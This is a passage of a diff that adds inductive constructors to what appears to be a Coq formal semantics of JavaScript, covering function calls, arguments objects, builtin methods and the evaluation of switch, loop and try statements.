+  | spec_call_global_eval_3 : out -> ext_expr
+
+  (** Extended expressions for function calls *)
+
+  | spec_entering_func_code : object_loc -> value -> list value -> ext_expr -> ext_expr
+  | spec_entering_func_code_1 : object_loc -> list value -> funcbody -> value -> strictness_flag -> ext_expr -> ext_expr
+  | spec_entering_func_code_2 : object_loc -> list value -> funcbody -> out -> ext_expr -> ext_expr
+  | spec_entering_func_code_3 : object_loc -> list value -> strictness_flag -> funcbody -> value -> ext_expr -> ext_expr
+  | spec_entering_func_code_4 : out -> ext_expr -> ext_expr
+
+  | spec_binding_inst_formal_params : list value -> env_loc -> list string -> strictness_flag -> ext_expr
+  | spec_binding_inst_formal_params_1 : list value -> env_loc -> string -> list string -> strictness_flag -> value -> out -> ext_expr
+  | spec_binding_inst_formal_params_2 : list value -> env_loc -> string -> list string -> strictness_flag -> value -> out -> ext_expr
+  | spec_binding_inst_formal_params_3 : list value -> env_loc -> string -> list string -> strictness_flag -> value -> ext_expr
+  | spec_binding_inst_formal_params_4 : list value -> env_loc -> list string -> strictness_flag -> out -> ext_expr
+  | spec_binding_inst_function_decls :  list value -> env_loc -> list funcdecl -> strictness_flag -> bool -> ext_expr
+  | spec_binding_inst_function_decls_1 : list value -> env_loc -> funcdecl -> list funcdecl -> strictness_flag -> bool -> out -> ext_expr
+  | spec_binding_inst_function_decls_2 : list value -> env_loc -> funcdecl -> list funcdecl -> strictness_flag -> object_loc -> bool -> out -> ext_expr
+  | spec_binding_inst_function_decls_3 : list value -> funcdecl -> list funcdecl -> strictness_flag -> object_loc -> bool -> specret full_descriptor -> ext_expr
+  | spec_binding_inst_function_decls_3a : list value -> funcdecl -> list funcdecl -> strictness_flag -> object_loc -> bool -> full_descriptor -> ext_expr
+  | spec_binding_inst_function_decls_4 : list value -> env_loc -> funcdecl -> list funcdecl -> strictness_flag -> object_loc -> bool -> out -> ext_expr
+  | spec_binding_inst_function_decls_5 : list value -> env_loc -> funcdecl -> list funcdecl -> strictness_flag -> object_loc -> bool -> ext_expr
+  | spec_binding_inst_function_decls_6 : list value -> env_loc -> list funcdecl -> strictness_flag -> bool -> out -> ext_expr
+  | spec_binding_inst_arg_obj :   object_loc -> prog -> list string -> list value -> env_loc -> ext_expr
+  | spec_binding_inst_arg_obj_1 : prog -> env_loc -> strictness_flag -> out -> ext_expr
+  | spec_binding_inst_arg_obj_2 : prog -> env_loc -> object_loc -> out -> ext_expr
+  | spec_binding_inst_var_decls : env_loc -> list string -> bool -> strictness_flag -> ext_expr
+  | spec_binding_inst_var_decls_1 : env_loc -> string -> list string -> bool -> strictness_flag -> out -> ext_expr
+  | spec_binding_inst_var_decls_2 : env_loc -> list string -> bool -> strictness_flag -> out -> ext_expr
+  | spec_binding_inst : codetype -> option object_loc -> prog -> list value -> ext_expr
+  | spec_binding_inst_1 : codetype -> option object_loc -> prog -> list value -> env_loc -> ext_expr
+  | spec_binding_inst_2 : codetype -> object_loc -> prog -> list string -> list value -> env_loc -> out -> ext_expr
+  | spec_binding_inst_3 : codetype -> option object_loc -> prog -> list string -> list value -> env_loc -> ext_expr
+  | spec_binding_inst_4 : codetype -> option object_loc -> prog -> list string -> list value -> bool -> env_loc -> out -> ext_expr
+  | spec_binding_inst_5 : codetype -> option object_loc -> prog -> list string -> list value -> bool -> env_loc -> ext_expr
+  | spec_binding_inst_6 : codetype -> option object_loc -> prog -> list string -> list value -> bool -> env_loc -> out -> ext_expr
+  | spec_binding_inst_7 : prog -> bool -> env_loc -> out -> ext_expr
+  | spec_binding_inst_8 : prog -> bool -> env_loc -> ext_expr
+  
+  | spec_make_arg_getter : string -> lexical_env -> ext_expr
+  | spec_make_arg_setter : string -> lexical_env -> ext_expr
+  
+  | spec_args_obj_get_1 : value -> object_loc -> prop_name -> object_loc -> (specret full_descriptor) -> ext_expr
+  
+  
+  | spec_args_obj_define_own_prop_1 : object_loc -> prop_name -> descriptor -> bool -> object_loc -> specret full_descriptor -> ext_expr
+  | spec_args_obj_define_own_prop_2 : object_loc -> prop_name -> descriptor -> bool -> object_loc -> full_descriptor -> out -> ext_expr
+  | spec_args_obj_define_own_prop_3 : object_loc -> prop_name -> descriptor -> bool -> object_loc -> out -> ext_expr
+  | spec_args_obj_define_own_prop_4 : object_loc -> prop_name -> descriptor -> bool -> object_loc -> ext_expr
+  | spec_args_obj_define_own_prop_5 : out -> ext_expr
+  | spec_args_obj_define_own_prop_6 : ext_expr
+  
+  | spec_args_obj_delete_1 : object_loc -> prop_name -> bool -> object_loc -> specret full_descriptor -> ext_expr
+  | spec_args_obj_delete_2 : object_loc -> prop_name -> bool -> object_loc -> full_descriptor -> out -> ext_expr
+  | spec_args_obj_delete_3 : out -> ext_expr
+  | spec_args_obj_delete_4 : bool -> ext_expr
+  
+  | spec_arguments_object_map : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> ext_expr
+  | spec_arguments_object_map_1 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> out -> ext_expr
+  | spec_arguments_object_map_2 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> object_loc -> list string -> int -> ext_expr
+  | spec_arguments_object_map_3 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> object_loc -> list string -> int -> out -> ext_expr
+  | spec_arguments_object_map_4 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> object_loc -> list string -> int -> string -> ext_expr
+  | spec_arguments_object_map_5 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> object_loc -> list string -> int -> string -> out -> ext_expr
+  | spec_arguments_object_map_6 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> object_loc -> list string -> int -> object_loc -> out -> ext_expr
+  | spec_arguments_object_map_7 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> object_loc -> list string -> int -> out -> ext_expr
+  | spec_arguments_object_map_8 : object_loc -> object_loc -> list string -> ext_expr
+
+  | spec_create_arguments_object : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> ext_expr
+  | spec_create_arguments_object_1 : object_loc -> list string -> list value -> lexical_env -> strictness_flag -> object_loc -> out -> ext_expr
+  | spec_create_arguments_object_2 : object_loc -> strictness_flag -> object_loc -> out -> ext_expr
+  | spec_create_arguments_object_3 : object_loc -> value -> attributes -> out -> ext_expr
+  | spec_create_arguments_object_4 : object_loc -> out -> ext_expr
+
+  (* Functions *)
+
+  | spec_object_has_instance : object_loc -> value -> ext_expr
+  | spec_object_has_instance_1 : builtin_has_instance -> object_loc -> value -> ext_expr
+  | spec_function_has_instance_1 : object_loc -> out -> ext_expr
+  | spec_function_has_instance_2 : object_loc -> object_loc -> ext_expr
+  | spec_function_has_instance_3 : object_loc -> value -> ext_expr
+
+  | spec_function_has_instance_after_bind_1 : object_loc -> value -> ext_expr
+  | spec_function_has_instance_after_bind_2 : object_loc -> value  -> ext_expr
+
+  | spec_function_get_1 : object_loc -> prop_name -> out -> ext_expr
+
+  (* Function.prototype.apply *)
+
+  | spec_function_proto_apply   : object_loc -> value -> value -> ext_expr
+  | spec_function_proto_apply_1 : object_loc -> value -> object_loc -> out -> ext_expr   
+  | spec_function_proto_apply_2 : object_loc -> value -> object_loc -> specret int -> ext_expr
+  | spec_function_proto_apply_3 : object_loc -> value -> specret (list value) -> ext_expr 
+
+  (* Function.prototype.bind *)
+
+  | spec_function_proto_bind_1 : object_loc -> value -> list value -> ext_expr
+  | spec_function_proto_bind_2 : object_loc -> value -> list value -> ext_expr
+  | spec_function_proto_bind_3 : object_loc -> specret int -> ext_expr
+  | spec_function_proto_bind_4 : object_loc -> int -> ext_expr
+  | spec_function_proto_bind_5 : object_loc -> ext_expr
+  | spec_function_proto_bind_6 : object_loc -> out -> ext_expr
+  | spec_function_proto_bind_7 : object_loc -> out -> ext_expr
+
+  (* Throwing of errors *)
+
+  | spec_error : native_error -> ext_expr 
+  | spec_error_1 : out -> ext_expr
+  | spec_error_or_cst : bool -> native_error -> value -> ext_expr
+  | spec_error_or_void : bool -> native_error -> ext_expr
+
+  (* LATER: these are currently unused *)
+  | spec_init_throw_type_error : ext_expr
+  | spec_init_throw_type_error_1 : out -> ext_expr
+
+  | spec_build_error : value -> value -> ext_expr
+  | spec_build_error_1 : object_loc -> value -> ext_expr
+  | spec_build_error_2 : object_loc -> out -> ext_expr
+
+  (* Object creation and calling continuation with object address *)
+
+  | spec_new_object : (object_loc -> ext_expr) -> ext_expr
+  | spec_new_object_1 : out -> (object_loc -> ext_expr) -> ext_expr
+
+  | spec_prim_new_object : prim -> ext_expr
+
+  (* Auxiliary reduction for creating function object steps 16 - 18 *)
+  | spec_creating_function_object_proto : object_loc -> ext_expr
+  | spec_creating_function_object_proto_1 : object_loc -> out -> ext_expr
+  | spec_creating_function_object_proto_2 : object_loc -> object_loc -> out -> ext_expr
+
+  | spec_creating_function_object : list string -> funcbody -> lexical_env -> strictness_flag -> ext_expr
+  | spec_creating_function_object_1 : strictness_flag -> object_loc -> out -> ext_expr
+  | spec_creating_function_object_2 : strictness_flag -> object_loc -> out -> ext_expr
+  | spec_creating_function_object_3 : object_loc -> out -> ext_expr
+  | spec_creating_function_object_4 : object_loc -> out -> ext_expr
+
+  (* Function creation in give execution context*)
+  | spec_create_new_function_in :  execution_ctx -> list string -> funcbody -> ext_expr
+
+  (* TODO: Check if object_loc or value could be None *)
+  (* TODO: get rid of this: | spec_call : builtin -> option object_loc -> option value -> list value -> ext_expr *)
+  | spec_call : object_loc -> value -> list value -> ext_expr (* object with the call method, this value, arguments *)
+  | spec_call_1 : call -> object_loc -> value -> list value -> ext_expr
+
+  | spec_call_prealloc : prealloc -> value -> list value -> ext_expr
+
+  | spec_call_default : object_loc -> value -> list value -> ext_expr
+  | spec_call_default_1 : object_loc -> ext_expr
+  | spec_call_default_2 : option funcbody -> ext_expr
+  | spec_call_default_3 : out -> ext_expr
+ 
+  | spec_construct : object_loc -> list value -> ext_expr
+  | spec_construct_1 : construct -> object_loc -> list value -> ext_expr
+
+  | spec_construct_prealloc : prealloc -> list value -> ext_expr
+
+  | spec_construct_default : object_loc -> list value -> ext_expr
+  | spec_construct_default_1 : object_loc -> list value -> out -> ext_expr
+  | spec_construct_default_2 : object_loc -> out -> ext_expr
+
+  | spec_construct_1_after_bind : object_loc -> list value -> object_loc -> ext_expr
+
+  (** Extended expressions for calling global object builtin functions *)
+  (* LATER: rename all the spec_call into spec_builtin *)
+
+  | spec_call_global_is_nan_1 : out -> ext_expr
+  | spec_call_global_is_finite_1 : out -> ext_expr
+
+  | spec_call_object_call_1 : value -> list value -> ext_expr
+  | spec_call_object_new_1 : value -> ext_expr
+  | spec_call_object_get_proto_of_1 : value -> ext_expr
+  | spec_call_object_is_extensible_1 : value -> ext_expr
+
+  | spec_call_object_create_1 : value -> value -> ext_expr
+  | spec_call_object_create_2 : out -> value -> value -> ext_expr
+  | spec_call_object_create_3 : object_loc -> value -> ext_expr
+
+  | spec_call_object_define_props_1 : value -> value -> ext_expr
+  | spec_call_object_define_props_2 : out -> object_loc -> ext_expr
+  | spec_call_object_define_props_3 : object_loc -> object_loc -> list prop_name -> list (prop_name * attributes) -> ext_expr
+  | spec_call_object_define_props_4 : out -> object_loc -> object_loc -> prop_name -> list prop_name -> list (prop_name * attributes) -> ext_expr
+  | spec_call_object_define_props_5 : object_loc -> object_loc -> prop_name -> list prop_name -> list (prop_name * attributes) -> specret attributes -> ext_expr
+  | spec_call_object_define_props_6 : object_loc -> list (prop_name * attributes) -> ext_expr
+  | spec_call_object_define_props_7 : out -> object_loc -> list (prop_name * attributes) -> ext_expr
+
+  | spec_call_object_seal_1 : value -> ext_expr
+  | spec_call_object_seal_2 : object_loc -> list prop_name -> ext_expr
+  | spec_call_object_seal_3 : object_loc -> prop_name -> list prop_name -> specret full_descriptor -> ext_expr
+  | spec_call_object_seal_4 : object_loc -> list prop_name -> out -> ext_expr
+
+  | spec_call_object_is_sealed_1 : value -> ext_expr
+  | spec_call_object_is_sealed_2 : object_loc -> list prop_name -> ext_expr
+  | spec_call_object_is_sealed_3 : object_loc -> list prop_name -> specret full_descriptor -> ext_expr
+
+  | spec_call_object_freeze_1 : value -> ext_expr
+  | spec_call_object_freeze_2 : object_loc -> list prop_name -> ext_expr
+  | spec_call_object_freeze_3 : object_loc -> prop_name -> list prop_name -> specret full_descriptor -> ext_expr
+  | spec_call_object_freeze_4 : object_loc -> prop_name -> list prop_name -> full_descriptor -> ext_expr
+  | spec_call_object_freeze_5 : object_loc -> list prop_name -> out -> ext_expr
+
+  | spec_call_object_is_frozen_1 : value -> ext_expr
+  | spec_call_object_is_frozen_2 : object_loc -> list prop_name -> ext_expr
+  | spec_call_object_is_frozen_3 : object_loc -> list prop_name -> specret full_descriptor -> ext_expr
+  | spec_call_object_is_frozen_4 : object_loc -> list prop_name -> full_descriptor -> ext_expr
+  | spec_call_object_is_frozen_5 : object_loc -> list prop_name -> full_descriptor -> ext_expr
+
+
+  | spec_call_object_prevent_extensions_1 : value -> ext_expr
+
+  | spec_call_object_define_prop_1 : value -> value -> value -> ext_expr
+  | spec_call_object_define_prop_2 : object_loc -> out -> value -> ext_expr
+  | spec_call_object_define_prop_3 : object_loc -> string -> specret descriptor -> ext_expr
+  | spec_call_object_define_prop_4 : object_loc -> out -> ext_expr
+
+  | spec_call_object_get_own_prop_descriptor_1: value -> value -> ext_expr
+  | spec_call_object_get_own_prop_descriptor_2: object_loc -> out -> ext_expr
+
+
+  | spec_call_object_proto_to_string_1 : value -> ext_expr
+  | spec_call_object_proto_to_string_2 : out -> ext_expr
+
+  | spec_call_object_proto_has_own_prop_1 : out -> value -> ext_expr
+  | spec_call_object_proto_has_own_prop_2 : out -> prop_name -> ext_expr
+  | spec_call_object_proto_has_own_prop_3 : specret full_descriptor -> ext_expr
+
+  | spec_call_object_proto_is_prototype_of_2_1 : value -> value -> ext_expr
+  | spec_call_object_proto_is_prototype_of_2_2 : out -> object_loc -> ext_expr
+  | spec_call_object_proto_is_prototype_of_2_3 : object_loc -> object_loc -> ext_expr
+  | spec_call_object_proto_is_prototype_of_2_4 : object_loc -> value -> ext_expr
+
+  | spec_call_object_proto_prop_is_enumerable_1 : value -> value -> ext_expr
+  | spec_call_object_proto_prop_is_enumerable_2 : value -> out -> ext_expr
+  | spec_call_object_proto_prop_is_enumerable_3 : out -> string -> ext_expr
+  | spec_call_object_proto_prop_is_enumerable_4 : specret full_descriptor -> ext_expr
+
+  | spec_call_array_new_1 : list value -> ext_expr
+  | spec_call_array_new_2 : object_loc -> list value -> ext_expr
+  | spec_call_array_new_3 : object_loc -> list value -> int -> ext_expr
+
+  | spec_call_array_new_single_1 : value -> ext_expr
+  | spec_call_array_new_single_2 : object_loc -> value -> ext_expr
+  | spec_call_array_new_single_3 : object_loc -> number -> specret int -> ext_expr
+  | spec_call_array_new_single_4 : object_loc -> int -> ext_expr
+
+  | spec_call_array_is_array_1 : value -> ext_expr
+  | spec_call_array_is_array_2_3 : class_name -> ext_expr
+
+  | spec_call_array_proto_to_string : out -> ext_expr
+  | spec_call_array_proto_to_string_1 : object_loc -> out -> ext_expr
+
+  | spec_call_array_proto_join   : out -> list value -> ext_expr 
+  | spec_call_array_proto_join_1 : object_loc -> out -> list value -> ext_expr 
+  | spec_call_array_proto_join_2 : object_loc -> specret int -> list value -> ext_expr
+  | spec_call_array_proto_join_3 : object_loc -> int -> value -> ext_expr
+  | spec_call_array_proto_join_4 : object_loc -> int -> out -> ext_expr
+  | spec_call_array_proto_join_5 : object_loc -> int -> string -> specret string -> ext_expr
+
+  | spec_call_array_proto_join_elements : object_loc -> int -> int -> string -> string -> ext_expr
+  | spec_call_array_proto_join_elements_1 : object_loc -> int -> int -> string -> string -> ext_expr
+  | spec_call_array_proto_join_elements_2 : object_loc -> int -> int -> string -> string -> specret string -> ext_expr
+
+  | spec_call_array_proto_pop_1 : out -> ext_expr
+  | spec_call_array_proto_pop_2 : object_loc -> out -> ext_expr
+  | spec_call_array_proto_pop_3 : object_loc -> specret int -> ext_expr
+  | spec_call_array_proto_pop_3_empty_1 : object_loc -> ext_expr
+  | spec_call_array_proto_pop_3_empty_2 : out -> ext_expr
+  | spec_call_array_proto_pop_3_nonempty_1 : object_loc -> int -> ext_expr
+  | spec_call_array_proto_pop_3_nonempty_2 : object_loc -> out -> ext_expr
+  | spec_call_array_proto_pop_3_nonempty_3 : object_loc -> value -> out -> ext_expr
+  | spec_call_array_proto_pop_3_nonempty_4 : object_loc -> value -> value -> out -> ext_expr
+  | spec_call_array_proto_pop_3_nonempty_5 : value -> out -> ext_expr
+
+  | spec_call_array_proto_push_1 : out -> list value -> ext_expr
+  | spec_call_array_proto_push_2 : object_loc -> list value -> out -> ext_expr
+  | spec_call_array_proto_push_3 : object_loc -> list value -> specret int -> ext_expr
+  | spec_call_array_proto_push_4 : object_loc -> list value -> int -> ext_expr
+  | spec_call_array_proto_push_4_nonempty_1 : object_loc -> list value -> int -> value -> ext_expr
+  | spec_call_array_proto_push_4_nonempty_2 : object_loc -> list value -> int -> value -> out -> ext_expr
+  | spec_call_array_proto_push_4_nonempty_3 : object_loc -> list value -> int -> value -> out -> ext_expr
+  | spec_call_array_proto_push_5 : object_loc -> value -> ext_expr
+  | spec_call_array_proto_push_6 : value -> out -> ext_expr
+
+  | spec_call_string_non_empty : out -> ext_expr 
+
+  | spec_construct_string_1 : value -> ext_expr
+  | spec_construct_string_2 : out -> ext_expr
+
+  | spec_construct_bool_1 : out -> ext_expr
+  | spec_call_bool_proto_to_string_1 : out -> ext_expr
+  | spec_call_bool_proto_value_of_1 : value -> ext_expr
+  | spec_call_bool_proto_value_of_2 : value -> ext_expr
+
+  | spec_call_number_proto_to_string_1 : value -> list value -> ext_expr
+  | spec_call_number_proto_to_string_2 : value -> out -> ext_expr
+  | spec_construct_number_1 : out -> ext_expr
+  | spec_call_number_proto_value_of_1 : value -> ext_expr
+
+  | spec_call_error_proto_to_string_1 : value -> ext_expr
+  | spec_call_error_proto_to_string_2 : object_loc -> out -> ext_expr
+  | spec_call_error_proto_to_string_3 : object_loc -> out -> ext_expr
+  | spec_call_error_proto_to_string_4 : object_loc -> string -> out -> ext_expr
+  | spec_call_error_proto_to_string_5 : object_loc -> string -> out -> ext_expr
+  | spec_call_error_proto_to_string_6 : object_loc -> string -> out -> ext_expr
+
+
+  (** Special state for returning an outcome *)
+
+  | spec_returns : out -> ext_expr
+
+(** Grammar of extended statements *)
+
+with ext_stat :=
+
+  (** Extended expressions include statements *)
+
+  | stat_basic : stat -> ext_stat
+
+  (** Extended statements associated with primitive statements *)
+  | stat_expr_1: (specret value) -> ext_stat
+
+  | stat_block_1 : out -> stat -> ext_stat
+  | stat_block_2 : resvalue -> out -> ext_stat
+
+  | stat_label_1 : label -> out -> ext_stat
+
+  | stat_var_decl_1 : out -> list (string * option expr) -> ext_stat
+  | stat_var_decl_item : (string * option expr) -> ext_stat
+  | stat_var_decl_item_1 : string -> specret ref -> expr -> ext_stat
+  | stat_var_decl_item_2 : string -> ref -> (specret value) -> ext_stat
+  | stat_var_decl_item_3 : string -> out -> ext_stat
+
+  | stat_if_1 : specret value -> stat -> option stat -> ext_stat
+
+  | stat_while_1 : label_set -> expr -> stat -> resvalue -> ext_stat
+  | stat_while_2 : label_set -> expr -> stat -> resvalue -> specret value -> ext_stat
+  | stat_while_3 : label_set -> expr -> stat -> resvalue -> out -> ext_stat
+  | stat_while_4 : label_set -> expr -> stat -> resvalue -> res -> ext_stat
+  | stat_while_5 : label_set -> expr -> stat -> resvalue -> res -> ext_stat
+  | stat_while_6 : label_set -> expr -> stat -> resvalue -> res -> ext_stat
+
+
+  | stat_do_while_1 : label_set -> stat -> expr -> resvalue -> ext_stat
+  | stat_do_while_2 : label_set -> stat -> expr -> resvalue -> out -> ext_stat
+  | stat_do_while_3 : label_set -> stat -> expr -> resvalue -> res -> ext_stat
+  | stat_do_while_4 : label_set -> stat -> expr -> resvalue -> res -> ext_stat
+  | stat_do_while_5 : label_set -> stat -> expr -> resvalue -> res -> ext_stat
+  | stat_do_while_6 : label_set -> stat -> expr -> resvalue -> ext_stat
+  | stat_do_while_7 : label_set -> stat -> expr -> resvalue -> specret value -> ext_stat
+
+  | stat_for_1 : label_set -> specret value -> option expr -> option expr -> stat -> ext_stat
+  | stat_for_2 : label_set -> resvalue -> option expr -> option expr -> stat -> ext_stat
+  | stat_for_3 : label_set -> resvalue -> expr -> specret value -> option expr -> stat -> ext_stat
+  | stat_for_4 : label_set -> resvalue -> option expr -> option expr -> stat -> ext_stat
+  | stat_for_5 : label_set -> resvalue -> option expr -> out -> option expr -> stat -> ext_stat
+  | stat_for_6 : label_set -> resvalue -> option expr -> option expr -> stat -> res -> ext_stat
+  | stat_for_7 : label_set -> resvalue -> option expr -> option expr -> stat -> res -> ext_stat
+  | stat_for_8 : label_set -> resvalue -> option expr -> option expr -> stat -> ext_stat
+  | stat_for_9 : label_set -> resvalue -> option expr -> expr -> specret value -> stat -> ext_stat
+
+  | stat_for_var_1 : out -> label_set -> option expr -> option expr -> stat -> ext_stat
+
+
+(* LATER: define prop_names for [set prop_name] *)
+(* LATER
+  | stat_for_in_1 : expr -> stat -> out -> ext_stat
+  | stat_for_in_2 : expr -> stat -> out -> ext_stat
+  | stat_for_in_3 : expr -> stat -> out -> ext_stat
+  | stat_for_in_4 : expr -> stat -> object_loc -> option res -> option out -> set prop_name -> set prop_name -> ext_stat 
+  | stat_for_in_5 : expr -> stat -> object_loc -> option res -> option out -> set prop_name -> set prop_name -> prop_name -> ext_stat
+  | stat_for_in_6 : expr -> stat -> object_loc -> option res -> option out -> set prop_name -> set prop_name -> prop_name -> ext_stat
+  | stat_for_in_7 : expr -> stat -> object_loc -> option res -> option out -> set prop_name -> set prop_name -> out -> ext_stat
+  | stat_for_in_8 : expr -> stat -> object_loc -> option res -> option out -> set prop_name -> set prop_name -> out -> ext_stat
+  | stat_for_in_9 : expr -> stat -> object_loc -> option res -> option out -> set prop_name -> set prop_name -> res -> ext_stat
+*)
+
+  (* Extended statements for 'switch' *)
+                                                                           
+  | stat_switch_1: (specret value) -> label_set -> switchbody -> ext_stat
+  | stat_switch_2: out -> label_set -> ext_stat
+  | stat_switch_nodefault_1: value -> resvalue -> list switchclause -> ext_stat
+  | stat_switch_nodefault_2: (specret value) -> value -> resvalue -> list stat -> list switchclause -> ext_stat
+  | stat_switch_nodefault_3: bool -> value -> resvalue -> list stat -> list switchclause -> ext_stat
+  | stat_switch_nodefault_4: out -> list switchclause -> ext_stat
+  | stat_switch_nodefault_5: resvalue -> list switchclause -> ext_stat
+  | stat_switch_nodefault_6: resvalue -> out -> list switchclause -> ext_stat
+
+  | stat_switch_default_1: value -> resvalue -> list switchclause -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_A_1: bool -> value -> resvalue -> list switchclause -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_A_2: (specret value) -> value -> resvalue -> list stat -> list switchclause -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_A_3: bool -> value -> resvalue -> list stat -> list switchclause -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_A_4: resvalue -> value -> list stat -> list switchclause -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_A_5: resvalue -> out -> value -> list switchclause -> list stat -> list switchclause -> ext_stat
+
+  | stat_switch_default_B_1: value -> resvalue -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_B_2: (specret value) -> value -> resvalue -> list stat -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_B_3: bool -> value -> resvalue -> list stat -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_B_4: out -> list stat -> list switchclause -> ext_stat
+
+  | stat_switch_default_5: value -> resvalue -> list stat -> list switchclause -> ext_stat
+  | stat_switch_default_6: out -> list switchclause -> ext_stat
+  | stat_switch_default_7: resvalue -> list switchclause -> ext_stat
+  | stat_switch_default_8: resvalue -> out -> list switchclause -> ext_stat
+
+  | stat_with_1 : stat -> specret value -> ext_stat (* The expression have been executed. *)
+
+  | stat_throw_1 : (specret value) -> ext_stat (* The expression have been executed. *)
+
+  | stat_return_1 : (specret value) -> ext_stat (* The expression have been executed. *)
+
+  | stat_try_1 : out -> option (string*stat) -> option stat -> ext_stat (* The try block has been executed. *)
+  | stat_try_2 : out -> lexical_env -> stat -> option stat -> ext_stat (* The catch block is actived and will be executed. *)
+  | stat_try_3 : out -> option stat -> ext_stat (* The try catch block has been executed:  there only stay an optional finally. *)
+  | stat_try_4 : res -> option stat -> ext_stat (* The try catch block has been executed:  there only stay an optional finally. *)
+  | stat_try_5 : res -> out -> ext_stat (* The finally has been executed. *)
+
+(** Grammar of extended programs *)
+
+with ext_prog :=
+
+  | prog_basic : prog -> ext_prog
+  | javascript_1 : out -> prog -> ext_prog
+  | prog_1 : out -> element -> ext_prog
+  | prog_2 : resvalue -> out -> ext_prog
+
+
+(** Grammar of extended forms for specification functions *)
+
+with ext_spec :=
+  | spec_to_int32 : value -> ext_spec
+  | spec_to_int32_1 : out -> ext_spec
+  | spec_to_uint32 : value -> ext_spec
+  | spec_to_uint32_1 : out -> ext_spec
+
+  | spec_expr_get_value_conv : (value -> ext_expr) -> expr -> ext_spec
+  | spec_expr_get_value_conv_1 : (value -> ext_expr) -> (specret value) -> ext_spec
+  | spec_expr_get_value_conv_2 : out -> ext_spec
+
+  | spec_convert_twice : ext_expr -> ext_expr -> ext_spec
+  | spec_convert_twice_1 : out -> ext_expr -> ext_spec
+  | spec_convert_twice_2 : value -> out -> ext_spec
+
+  (** Extended expressions for lists of expressions *)
+  | spec_list_expr : list expr -> ext_spec
+  | spec_list_expr_1 : list value -> list expr -> ext_spec
+  | spec_list_expr_2 : list value -> (specret value) -> list expr -> ext_spec 
+
+  | spec_to_descriptor : value -> ext_spec
+  | spec_to_descriptor_1a : object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_1b : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_1c : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_2a : object_loc -> descriptor -> ext_spec                            
+  | spec_to_descriptor_2b : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_2c : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_3a : object_loc -> descriptor -> ext_spec                            
+  | spec_to_descriptor_3b : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_3c : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_4a : object_loc -> descriptor -> ext_spec                            
+  | spec_to_descriptor_4b : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_4c : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_5a : object_loc -> descriptor -> ext_spec                            
+  | spec_to_descriptor_5b : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_5c : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_6a : object_loc -> descriptor -> ext_spec                            
+  | spec_to_descriptor_6b : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_6c : out -> object_loc -> descriptor -> ext_spec
+  | spec_to_descriptor_7 : object_loc -> descriptor -> ext_spec    
+
+  | spec_object_get_own_prop : object_loc -> prop_name -> ext_spec
+  | spec_object_get_own_prop_1 : builtin_get_own_prop -> object_loc -> prop_name -> ext_spec
+  | spec_object_get_own_prop_2 : object_loc -> prop_name -> option attributes -> ext_spec
+
+  | spec_object_get_prop : object_loc -> prop_name -> ext_spec
+  | spec_object_get_prop_1 : builtin_get_prop -> object_loc -> prop_name -> ext_spec
+  | spec_object_get_prop_2 : object_loc -> prop_name -> specret full_descriptor -> ext_spec
+  | spec_object_get_prop_3 : object_loc -> prop_name -> value -> ext_spec
+
+  | spec_get_value : resvalue -> ext_spec
+  | spec_get_value_ref_b_1 : out -> ext_spec
+  | spec_get_value_ref_c_1 : out -> ext_spec
+
+  (** Shorthand for calling [red_expr] then [ref_get_value] *)
+
+  | spec_expr_get_value : expr -> ext_spec
+  | spec_expr_get_value_1 : out -> ext_spec
+
+  (** Extended expressions for operations on lexical environments *)
+
+  | spec_lexical_env_get_identifier_ref : lexical_env -> prop_name -> bool -> ext_spec
+  | spec_lexical_env_get_identifier_ref_1 : env_loc -> lexical_env -> prop_name -> bool -> ext_spec
+  | spec_lexical_env_get_identifier_ref_2 : env_loc -> lexical_env -> prop_name -> bool -> out -> ext_spec
+
+  (** Errors in the grammar of spec *) (* LATER: merge *)
+  | spec_error_spec : native_error -> ext_spec
+  | spec_error_spec_1 : out -> ext_spec
+
+  (* .. *)
+  | spec_args_obj_get_own_prop_1 : object_loc -> prop_name -> (specret full_descriptor) -> ext_spec
+  | spec_args_obj_get_own_prop_2 : object_loc -> prop_name -> object_loc -> full_descriptor -> (specret full_descriptor) -> ext_spec
+  | spec_args_obj_get_own_prop_3 : full_descriptor -> out -> ext_spec
+  | spec_args_obj_get_own_prop_4 : full_descriptor -> ext_spec
+
+  | spec_string_get_own_prop_1 : object_loc -> prop_name -> (specret full_descriptor) -> ext_spec
+  | spec_string_get_own_prop_2 : object_loc -> prop_name -> (specret int) -> ext_spec
+  | spec_string_get_own_prop_3 : object_loc -> prop_name -> out -> ext_spec
+  | spec_string_get_own_prop_4 : prop_name -> string -> ext_spec
+  | spec_string_get_own_prop_5 : string -> (specret int) -> ext_spec
+  | spec_string_get_own_prop_6 : string -> int -> int -> ext_spec
+
+  (* Argumenst for Function.prototype.apply *)
+
+  | spec_function_proto_apply_get_args   : object_loc -> int -> int -> ext_spec
+  | spec_function_proto_apply_get_args_1 : object_loc -> int -> int -> out -> ext_spec
+  | spec_function_proto_apply_get_args_2 : object_loc -> int -> int -> out -> ext_spec
